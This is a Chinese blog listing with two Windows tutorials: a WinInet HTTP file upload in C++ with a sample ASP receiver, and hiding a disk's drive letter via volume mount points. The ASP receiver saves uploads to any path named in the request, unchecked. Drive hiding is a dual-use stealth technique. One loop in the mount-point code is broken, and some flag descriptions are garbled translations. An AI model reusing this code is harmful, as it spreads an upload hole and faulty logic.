分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019

文章列表

  • 基于WinInet实现HTTP文件上传

    背景之前写过基于WinInet的HTTP文件下载功能的小程序了,那就顺便把HTTP文件上传也一并写了吧,这样知识才算是比较完整了。相对于文件下载来说,文件上传过程原理也都差不多,只要注意些区别就好了。
    现在,把基于WinInet的HTTP文件上传功能小程序的开发过程分享给大家,方便大家的参考。
    前期准备前期需要本地搭建一个测试环境,本文搭建的是一个本地的ASP网站,同时,使用asp写了一个接收上传数据存储为文件的小程序test1.asp。
    搭建ASP服务器,可以参考本站上别人写的 “使用Windows7旗舰版64位来搭建ASP服务器环境” 这一篇文章,里面详细介绍了搭建过程和注意事项。同时,也可以参考 “修改ASP网站的文件传输大小的默认限制并对限制大小进行探索” 这一篇文章,介绍的是更改ASP网站上传的文件大小的限制。
    搭建测试环境的原因,就是为了测试,才能知道文件有没有成功上传到服务器上。当然,有条件的,也可以自己在公网上搭建服务器,这样测试会更加真实。
    主要函数介绍介绍HTTP上传文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen介绍
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect介绍
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. HttpOpenRequest介绍
    函数声明
    HINTERNET HttpOpenRequest( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszVerb, _In_ LPCTSTR lpszObjectName, _In_ LPCTSTR lpszVersion, _In_ LPCTSTR lpszReferer, _In_ LPCTSTR *lplpszAcceptTypes, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数
    hConnect:由InternetConnect返回的句柄。
    lpszVerb:一个指向某个包含在请求中要用的动词的字符串指针。如果为NULL,则使用“GET”。
    lpszObjectName:一个指向某个包含特殊动词的目标对象的字符串的指针。通常为文件名称、可执行模块或者查找标识符。
    lpszVersion:一个指向以null结尾的字符串的指针,该字符串包含在请求中使用的HTTP版本,Internet Explorer中的设置将覆盖该参数中指定的值。如果此参数为NULL,则该函数使用1.1或1.0的HTTP版本,这取决于Internet Explorer设置的值。
    lpszReferer:一个指向指定了包含着所需的URL (pstrObjectName)的文档地址(URL)的指针。如果为NULL,则不指定HTTP头。
    lplpszAcceptTypes:一个指向某空终止符的字符串的指针,该字符串表示客户接受的内容类型。如果该字符串为NULL,服务器认为客户接受“text/*”类型的文档 (也就是说,只有纯文本文档,并且不是图片或其它二进制文件)。内容类型与CGI变量CONTENT_TYPE相同,该变量确定了要查询的含有相关信息的数据的类型,如HTTP POST和PUT。
    dwFlags:dwFlags的值可以是下面一个或者多个。



    价值
    说明




    INTERNET_FLAG_DONT_CACHE
    不缓存的数据,在本地或在任何网关。 相同的首选值INTERNET_FLAG_NO_CACHE_WRITE。


    INTERNET_FLAG_EXISTING_CONNECT
    如果可能的话,重用现有的连接到每个服务器请求新的请求而产生的InternetOpenUrl创建一个新的会话。 这个标志是有用的,只有对FTP连接,因为FTP是唯一的协议,通常在同一会议执行多个操作。 在Win 32 API的缓存一个单一的Internet连接句柄为每个HINTERNET处理产生的InternetOpen。


    INTERNET_FLAG -超链接
    强制重载如果没有到期的时间也没有最后修改时间从服务器在决定是否加载该项目从网络返回。


    INTERNET_FLAG_IGNORE_CERT_CN_INVALID
    禁用的Win32上网功能的SSL /厘为基础的打击是从给定的请求服务器返回的主机名称证书检查。 Win32的上网功能用来对付证书由匹配主机名和HTTP请求一个简单的通配符规则比较简单的检查。


    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
    禁用的Win32上网功能的SSL /厘为基础的HTTP请求适当的日期,证书的有效性检查。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许对HTTP重定向的URL从HTTPS。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许从HTTP重定向到HTTPS网址。


    INTERNET_FLAG_KEEP_CONNECTION
    使用保持活动语义,如果有的话,给HTTP请求连接。 这个标志是必需的微软网络(MSN),NT LAN管理器(NTLM)和其他类型的身份验证。


    INTERNET_FLAG_MAKE_PERSISTENT
    不再支持。


    INTERNET_FLAG_MUST_CACHE_REQUEST
    导致一个临时文件如果要创建的文件不能被缓存。 相同的首选值INTERNET_FLAG_NEED_FILE。


    INTERNET_FLAG_NEED_FILE
    导致一个临时文件如果要创建的文件不能被缓存。


    INTERNET_FLAG_NO_AUTH
    不尝试HTTP请求身份验证自动。


    INTERNET_FLAG_NO_AUTO_REDIRECT
    不自动处理HTTP请求重定向只。


    INTERNET_FLAG_NO_CACHE_WRITE
    不缓存的数据,在本地或在任何网关。


    INTERNET_FLAG_NO_COOKIES
    不会自动添加Cookie标头的请求,并不会自动添加返回的Cookie的HTTP请求的Cookie数据库。


    INTERNET_FLAG_NO_UI
    禁用cookie的对话框。


    INTERNET_FLAG_PASSIVE
    使用被动FTP语义FTP文件和目录。


    INTERNET_FLAG_RAW_DATA
    返回一个数据WIN32_FIND_DATA结构时,FTP目录检索信息。 如果这个标志,或者未指定代理的电话是通过一个CERN,InternetOpenUrl返回的HTML版本的目录。


    INTERNET_FLAG_PRAGMA_NOCACHE
    强制要求被解决的原始服务器,即使在代理缓存的副本存在。


    INTERNET_FLAG_READ_PREFETCH
    该标志目前已停用。


    INTERNET_FLAG_RELOAD
    从导线获取数据,即使是一个本地缓存。


    INTERNET_FLAG_RESYNCHRONIZE
    重整HTTP资源,如果资源已被修改自上一次被下载。 所有的FTP资源增值。


    INTERNET_FLAG_SECURE
    请确保在使用SSL或PCT线交易。 此标志仅适用于HTTP请求。



    dwContext:OpenRequest操作的上下文标识符。

    4. WinHttpAddRequestHeaders介绍
    函数声明
    BOOL WINAPI WinHttpAddRequestHeaders( In HINTERNET hRequest, In LPCWSTR pwszHeaders, In DWORD dwHeadersLength, In DWORD dwModifiers);
    作用
    添加一个HTTP的请求头域。
    参数

    hRequest [in]一个HINTERNET句柄通过调用WinHttpOpenRequest返回。pwszHeaders [in]请求的头域字符串,每个头域(多个头域以)使用回车换行(\r\n)结束dwHeadersLength [in]无符号长整型变量,指向pwszHeaders的长度,如果该参数为(ulong)-1L时,自动以”/0”结束来计算pwszHeaders的长度。dwModifiers [in]头域的修改模式。包括如下值:WINHTTP_ADDREQ_FLAG_ADD 添加一个头域,如果头域存在时值将被新添加的值替换。与WINHTTP_ADDREQ_FLAG_REPLAC一起使用WINHTTP_ADDREQ_FLAG_ADD_IF_NEW 添加一个不存在头域,如果该头域存在则返回一个错误。WINHTTP_ADDREQ_FLAG_COALESCE 将同名的头域进行合并。WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA 合并同名的头域,值使用逗号隔开。WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON 合并同名的头域,值使用分号隔开。WINHTTP_ADDREQ_FLAG_REPLACE 替换和删除一个头域,如果值为空,则删除,否则被替换。
    返回值
    返回值为假时,使用GetLastError来得到错误信息。err code:ERROR_WINHTTP_INCORRECT_HANDLE_STATE 请求不能被执行,因为句柄的状态不正确ERROR_WINHTTP_INCORRECT_HANDLE_TYPE 请求的句柄类型不正确ERROR_WINHTTP_INTERNAL_ERROR 内部错误ERROR_NOT_ENOUGH_MEMORY 没有足够的内存来完成操作。

    5. InternetWriteFile介绍
    函数声明
    BOOL InternetWriteFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲写入数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收写入字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    程序设计原理该部分讲解下程序设计的原理以及实现的流程,让大家有个宏观的认识。原理是:

    首先,使用 InternetCrackUrl 函数分解URL,从URL中提取网站的域名、路径以及URL的附加信息等。关于 InternetCrackUrl 分解URL的介绍和实现,可以参考 “URL分解之InternetCrackUrl” 这篇文章
    使用 InternetOpen 建立会话,获取会话句柄
    使用 InternetConnect 与网站建立连接,获取连接句柄
    设置HTTP的访问标志,使用 HttpOpenRequest 打开HTTP的“POST”请求
    构造请求信息头字符串,并使用 HttpAddRequestHeaders 附加请求信息头
    使用 HttpSendRequestEx发送访问请求
    使用 InternetWriteFile 上传数据
    数据上传完毕之后,使用 HttpEndRequest 函数结束请求
    关闭句柄,释放资源

    其中,需要注意的是第 5 步,这一步是与HTTP文件下载不同的地方,这一步需要构造请求信息头,所以构造请求信息头的字符串的时候,一定要严格按照协议格式去构造。例如回车换行、空格之类的。
    编程实现1. 导入WinInet库#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    2. HTTP文件上传编程实现// 数据上传// 输入:上传数据的URL路径、上传数据内容、上传数据内容长度BOOL Http_Upload(char *pszUploadUrl, BYTE *pUploadData, DWORD dwUploadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = { 0 }; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Http_UrlCrack(pszUploadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } // 数据上传 HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hRequest = NULL; DWORD dwOpenRequestFlags = 0; BOOL bRet = FALSE; DWORD dwRet = 0; unsigned char *pResponseHeaderIInfo = NULL; DWORD dwResponseHeaderIInfoSize = 2048; BYTE *pBuf = NULL; DWORD dwBufSize = 64 * 1024; BYTE *pResponseBodyData = NULL; DWORD dwResponseBodyDataSize = 0; DWORD dwOffset = 0; do { // 建立会话 hInternet = ::InternetOpen("WinInetPost/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Http_ShowError("InternetOpen"); break; } // 建立连接 hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTP_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0); if (NULL == hConnect) { Http_ShowError("InternetConnect"); break; } // 打开并发送HTTP请求 dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI; if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } hRequest = ::HttpOpenRequest(hConnect, "POST", szUrlPath, NULL, NULL, NULL, dwOpenRequestFlags, 0); if (NULL == hRequest) { Http_ShowError("HttpOpenRequest"); break; } // 附加 请求头(可以写也可以不写, 不写的话直接发送数据也可以, 主要是看服务端和客户端的数据传输约定; 批量发送的时候要用到) // 数据边界 char szBoundary[] = "-------------MyUploadBoundary"; char szRequestHeaders[MAX_PATH] = {0}; ::RtlZeroMemory(szRequestHeaders, MAX_PATH); // 构造 请求头数据信息 ::wsprintf(szRequestHeaders, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml,*/*\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Cache-Control: no-cache\r\n\r\n", szBoundary); bRet = ::HttpAddRequestHeaders(hRequest, szRequestHeaders, ::lstrlen(szRequestHeaders), HTTP_ADDREQ_FLAG_ADD); if (FALSE == bRet) { break; } // 构造将要发送的数据包格式 // 1. 文件数据前缀(可选) char szPreData[1024] = {0}; int iPostValue = 7758; char szUploadFileName[] = "C:\\User\\DemonGan.txt"; ::RtlZeroMemory(szPreData, 1024); ::wsprintf(szPreData, "--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%d\r\n" "--%s\r\nContent-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" // 二进制数据流 --> (jpg || jpeg file)"Content-Type: image/pjpeg\r\n\r\n" --> // (gif file)"Content-Type: image/gif\r\n\r\n" --> (png file)"Content-Type: image/x-png\r\n\r\n" "Content-Type: application/octet-stream\r\n\r\n", szBoundary, "MyValue", iPostValue, szBoundary, "MyUploadFileName", szUploadFileName); // 2. 上传主体内容数据(可以是多个文件数据, 但是要用 szBoundary 分开) // ----> pUploadData // 3.结束后缀(可选) char szSufData[1024] = {0}; ::RtlZeroMemory(szSufData, 1024); ::wsprintf(szSufData, "\r\n--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%s\r\n--%s--", szBoundary, "MyUploadOver", "OVER", szBoundary); // 计算数据包的大小 = 前缀数据包大小 + 主体数据大小 + 后缀数据包大小 // 并 发送请求, 告诉服务器传输数据的总大小 DWORD dwPostDataSize = ::lstrlen(szPreData) + dwUploadDataSize + ::lstrlen(szSufData);// DWORD dwPostDataSize = dwUploadDataSize; INTERNET_BUFFERS internetBuffers = {0}; ::RtlZeroMemory(&internetBuffers, sizeof(internetBuffers)); internetBuffers.dwStructSize = sizeof(internetBuffers); internetBuffers.dwBufferTotal = dwPostDataSize; bRet = ::HttpSendRequestEx(hRequest, &internetBuffers, NULL, 0, 0); if (FALSE == bRet) { break; } // 发送数据 // 发送前缀数据(可选) bRet = ::InternetWriteFile(hRequest, szPreData, ::lstrlen(szPreData), &dwRet); if (FALSE == bRet) { break; } // 发送主体内容数据 bRet = ::InternetWriteFile(hRequest, pUploadData, dwUploadDataSize, &dwRet); if (FALSE == bRet) { break; } // 发送后缀数据(可选) bRet = ::InternetWriteFile(hRequest, szSufData, ::lstrlen(szSufData), &dwRet); if (FALSE == bRet) { break; } // 发送完毕, 结束请求 bRet = ::HttpEndRequest(hRequest, NULL, 0, 0); if (FALSE == bRet) { break; } // 接收来自服务器响应的数据 // 接收响应的报文信息头(Get Response Header) pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize]; if (NULL == pResponseHeaderIInfo) { break; } ::RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize); bRet = ::HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL); if (FALSE == bRet) { Http_ShowError("HttpQueryInfo"); break; }#ifdef _DEBUG printf("[HTTP_Upload_ResponseHeaderIInfo]\n\n%s\n\n", pResponseHeaderIInfo);#endif // 从 中字段 "Content-Length: "(注意有个空格) 获取数据长度 bRet = Http_GetContentLength((char *)pResponseHeaderIInfo, &dwResponseBodyDataSize); if (FALSE == bRet) { break; } // 接收报文主体内容(Get Response Body) pBuf = new BYTE[dwBufSize]; if (NULL == pBuf) { break; } pResponseBodyData = new BYTE[dwResponseBodyDataSize]; if (NULL == pResponseBodyData) { break; } ::RtlZeroMemory(pResponseBodyData, dwResponseBodyDataSize); do { ::RtlZeroMemory(pBuf, dwBufSize); bRet = ::InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet); if (FALSE == bRet) { Http_ShowError("InternetReadFile"); break; } ::RtlCopyMemory((pResponseBodyData + dwOffset), pBuf, dwRet); dwOffset = dwOffset + dwRet; } while (dwResponseBodyDataSize > dwOffset); } while (FALSE); // 关闭 释放 if (NULL != pResponseBodyData) { delete[]pResponseBodyData; pResponseBodyData = NULL; } if (NULL != pBuf) { delete[]pBuf; pBuf = NULL; } if (NULL != pResponseHeaderIInfo) { delete[]pResponseHeaderIInfo; pResponseHeaderIInfo = NULL; } if (NULL != hRequest) { ::InternetCloseHandle(hRequest); hRequest = NULL; } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); hConnect = NULL; } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); hInternet = NULL; } return bRet;}
    3. ASP接收文件程序mytest1.asp<%'ASP文件接收程序dim file,obj,fsofile = Trim(Request("file"))If file = "" Then Response.Write "上传错误文件名未指定": Response.EndSet obj = Server.CreateObject("Adodb.Stream")With obj.Type = 1.Mode = 3.Open.Write Request.BinaryRead(Request.TotalBytes).Position = 0.SaveToFile Server.Mappath(file), 2.CloseEnd WithSet obj = NothingSet fso = CreateObject("Scripting.FileSystemObject")If fso.FileExists(Server.Mappath(file)) ThenResponse.Write "上传成功"ElseResponse.Write "上传失败"End IfSet fso = Nothing%>
    程序测试在main函数中,调用上述封装好的函数,上传文件进行测试。
    main函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szHttpUploadUrl[] = "http://192.168.28.137/mytest1.asp?file=myyyyytestupload1"; char szHttpUploadFileName[] = "C:\\Users\\Desktop\\520.zip"; BYTE *pHttpUploadData = NULL; DWORD dwHttpUploadDataSize = 0; DWORD dwRet = 0; // 打开文件 HANDLE hFile = ::CreateFile(szHttpUploadFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFile) { Http_ShowError("CreateFile"); return 5; } // 获取文件大小 dwHttpUploadDataSize = ::GetFileSize(hFile, NULL); // 读取文件数据 pHttpUploadData = new BYTE[dwHttpUploadDataSize]; ::ReadFile(hFile, pHttpUploadData, dwHttpUploadDataSize, &dwRet, NULL); dwHttpUploadDataSize = dwRet; // 上传数据 if (FALSE == Http_Upload(szHttpUploadUrl, pHttpUploadData, dwHttpUploadDataSize)) { return 1; } // 释放内存 delete []pHttpUploadData; pHttpUploadData = NULL; ::CloseHandle(hFile); system("pause"); return 0;}
    测试结果:
    根据传输返回的Response Header可知,数据上传成功。

    查看ASP服务器目录,成功获取17795KB大小的“mmyyyytestupload1”文件。

    总结相对与HTTP的文件下载,HTTP文件上传需要注意两点。一是要注意HttpOpenRequest 中要打开“POST”请求;二是在构造请求头信息的时候,一定要严格按照协议格式去写,具体格式可以到网上搜索。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-20 09:23:40
  • 磁盘盘符隐藏并访问隐藏磁盘的文件数据

    背景之前,帮一个小伙伴开发了一个程序,这个程序就是对磁盘盘符进行隐藏与显示。也就是说,我们打开资源管理器,在资源管理器中隐藏指定磁盘,不显示在界面上。而且,我们还可以使用程序对这个隐藏后的磁盘文件数据进行读写。
    这个程序的实现原理,主要是删除和创建卷加载点实现来实现的。其中,我们给出两种方法来创建隐藏磁盘,分别是使用WIN32 API 函数 DefineDosDeivce 以及 SetVolumeMountPoint 来实现。现在,我就把实现过程整理成文档,分享给大家。
    函数介绍QueryDosDevice 函数
    获取有关MS-DOS设备名称的信息。 该功能可以获得特定MS-DOS设备名称的当前映射。 该功能还可以获取所有现有MS-DOS设备名称的列表。
    函数声明
    DWORD WINAPI QueryDosDevice( _In_opt_ LPCTSTR lpDeviceName, _Out_ LPTSTR lpTargetPath, _In_ DWORD ucchMax);
    参数

    lpDeviceName [in,optional]指定查询目标的MS-DOS设备名称字符串。设备名称不能有尾随的反斜杠;例如,使用“C:”,而不是“C:\”。此参数可以为NULL。在这种情况下,QueryDosDevice功能将将所有现有的MS-DOS设备名称的列表存储到lpTargetPath指向的缓冲区中。lpTargetPath [out]指向将接收查询结果的缓冲区的指针。该函数用一个或多个以null结尾的字符串填充此缓冲区。最后以空值终止的字符串后跟一个额外的NULL。如果lpDeviceName不为NULL,则该函数将检索有关由lpDeviceName指定的特定MS-DOS设备的信息。存储在缓冲区中的第一个以null结尾的字符串是设备的当前映射。其他以null结尾的字符串表示设备的未删除的先前映射。如果lpDeviceName为NULL,则该函数将检索所有现有MS-DOS设备名称的列表。存储在缓冲区中的每个以null结尾的字符串都是现有MS-DOS设备的名称,例如\ Device \ HarddiskVolume1或\ Device \ Floppy0。ucchMax [in]lpTargetPath指向的缓冲区中可以存储的最大TCHAR数。
    返回值

    如果函数成功,则返回值是存储在lpTargetPath指向的缓冲区中的TCHAR数。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。如果缓冲区太小,则该函数失败,最后一个错误代码为ERROR_INSUFFICIENT_BUFFER。

    DefineDosDevice 函数
    定义,重新定义或删除MS-DOS设备名称。
    函数声明
    BOOL WINAPI DefineDosDevice( _In_ DWORD dwFlags, _In_ LPCTSTR lpDeviceName, _In_opt_ LPCTSTR lpTargetPath);
    参数

    dwFlags [in]DefineDosDevice功能的可控方面。 此参数可以是以下值中的一个或多个:



    VALUE
    MEANING




    DDD_EXACT_MATCH_ON_REMOVE
    如果此值与DDD_REMOVE_DEFINITION一起指定,则该函数将使用完全匹配来确定要删除的映射。 使用此值可确保不删除未定义的内容


    DDD_NO_BROADCAST_SYSTEM
    不要广播WM_SETTINGCHANGE消息。 默认情况下,该消息被广播以通知shell和应用程序的更改


    DDD_RAW_TARGET_PATH
    使用lpTargetPath字符串。 否则,它将从MS-DOS路径转换为路径


    DDD_REMOVE_DEFINITION
    删除指定设备的指定定义。 要确定要删除的定义,该函数将会遍历设备的映射列表,查找与此设备关联的每个映射的前缀的lpTargetPath的匹配。 匹配的第一个映射是删除的映射,然后该函数返回。如果lpTargetPath为NULL或指向NULL字符串的指针,则该函数将删除与设备关联的第一个映射,并弹出最近推送的映射。 如果没有什么可以弹出,设备名称将被删除。如果未指定此值,则由lpTargetPath参数指向的字符串将成为此设备的新映射。




    lpDeviceName [in]指向MS-DOS设备名称字符串的指针,指定功能正在定义,重新定义或删除的设备。 设备名称字符串不得有冒号作为最后一个字符,除非正在定义,重新定义或删除驱动器号。 例如,驱动器C将是字符串“C:”。 在任何情况下都不允许使用尾部反斜杠(“\”)。
    lpTargetPath [in]指向将实现此设备的路径字符串的指针。 字符串是一个MS-DOS路径字符串,除非指定了DDD_RAW_TARGET_PATH标志,在这种情况下,此字符串是一个路径字符串。

    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    DeleteVolumeMountPoint 函数
    删除驱动器号或安装的文件夹。
    函数声明
    BOOL WINAPI DeleteVolumeMountPoint( _In_ LPCTSTR lpszVolumeMountPoint);
    参数

    lpszVolumeMountPoint [in]要删除的驱动器号或安装的文件夹。 需要尾随的反斜杠,例如“X:\”或“Y:\ MountX \”。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    GetVolumeNameForVolumeMountPoint 函数
    检索与指定卷装入点(驱动器盘符,卷GUID路径或已装载文件夹)相关联的卷的卷GUID路径。
    函数声明
    BOOL WINAPI GetVolumeNameForVolumeMountPoint( _In_ LPCTSTR lpszVolumeMountPoint, _Out_ LPTSTR lpszVolumeName, _In_ DWORD cchBufferLength);
    参数

    lpszVolumeMountPoint [in]指向包含已安装文件夹路径(例如“Y:\ MountX \”)或驱动器盘符(例如“X:\”)的字符串的指针。 字符串必须以尾部反斜杠(’\’)结尾。lpszVolumeName [out]指向接收卷GUID路径的字符串的指针。 此路径的格式为“\?\ Volume {GUID} \”,其中GUID是用于标识卷的GUID。 如果该卷存在多个卷GUID路径,则仅返回安装管理器缓存中的第一个卷。cchBufferLength [in]输出缓冲区的长度,在TCHAR中。 缓冲区容纳最大容量GUID路径的合理大小为50个字符。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    SetVolumeMountPoint 函数
    将卷与驱动器号或另一卷上的目录相关联。
    函数声明
    BOOL WINAPI SetVolumeMountPoint( _In_ LPCTSTR lpszVolumeMountPoint, _In_ LPCTSTR lpszVolumeName);
    参数

    lpszVolumeMountPoint [in]与卷关联的用户模式路径。 这可能是驱动器号(例如“X:\”)或其他卷上的目录(例如“Y:\ MountX \”)。 字符串必须以尾部反斜杠(’\’)结尾。lpszVolumeName [in]卷的卷GUID路径。 此字符串的格式必须为“\?\ Volume {GUID} \”,其中GUID是用于标识卷的GUID。 “\?\”关闭路径解析,并作为路径的一部分被忽略,如命名卷所述。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。如果lpszVolumeMountPoint参数包含已安装文件夹的路径,即使目录为空,GetLastError返回ERROR_DIR_NOT_EMPTY。

    实现原理在资源管理器中隐藏磁盘显示的原理就是:把磁盘对应的卷加载点删除,这样,磁盘就没有相应的驱动器号了,就不会在资源管理器中显示。对于删除卷加载点,我们可以使用 DeleteVolumeMountPoint 函数实现。
    在资源管理器中还原回隐藏的磁盘,原理就是:重新创建磁盘的卷加载点,并未磁盘分配一个驱动器号。但是,在创建卷加载点之前,也就是在删除卷加载点之前,我们就要使用 GetVolumeNameForVolumeMountPoint 获取卷加载点对应的卷名。因为,当我们使用 SetVolumeMountPoint 函数的时候,需要用到卷名,为相应的卷名创建卷加载点,分配驱动器号。
    创建隐藏盘符,方便我们程序访问的原理是:我们为删除卷加载点的磁盘,分配一个非字母的的驱动器号,这样,磁盘在资源管理器中是不显示的。但是,我们的程序可以通过这个非字母的盘符,正常访问盘符里的文件数据,和正常的字母盘符一样访问。在此,创建一个非字母的磁盘设备,我们可以有两种实现方式,均可以达到上述所说的效果:

    使用 DefineDosDevice 函数来实现,在使用 DefineDosDevice 之前,就需要获取磁盘对应的 Dos 路径,也就是说, 在删除卷加载点之前,先调用 QueryDosDevice 函数获取磁盘对应的 Dos 路径。之后,再使用 DefineDosDevice 函数将 Dos 路径对应的磁盘创建一个非字母驱动器的路径。
    使用 SetVolumeMountPoint 函数来实现,在使用 SetVolumeMountPoint 之前,需要通过 GetVolumeNameForVolumeMountPoint 函数来获取磁盘对应的卷名。后来,我们通过 SetVolumeMountPoint 为卷名对应的磁盘分配一个非字母驱动器号的卷加载点。

    编码实现删除卷加载点,隐藏盘符// 隐藏磁卷加载点, 实现磁盘隐藏BOOL HideValume(char *pszDriver){ BOOL bRet = ::DeleteVolumeMountPoint(pszDriver); if (FALSE == bRet) { ShowError("DeleteVolumeMountPoint"); return FALSE; } return TRUE;}
    获取磁盘对应的卷名// 获取磁盘对应的卷名::GetVolumeNameForVolumeMountPoint("E:\\", szVolumeName, MAX_PATH);
    设置卷加载点,显示磁盘// 显示卷加载点, 恢复磁盘显示BOOL ShowValume(char *pszDriver, char *pszVolumeName){ /* 注意在使用SetVolumeMountPoint的时候,挂载点目录必须存在,而且必须为空目录,否则程序会运行失败 */ while (ERROR_DIR_NOT_EMPTY == ::SetVolumeMountPoint(pszDriver, pszVolumeName)) { // 更改加载盘符 pszDriver[0]++; } return TRUE;}
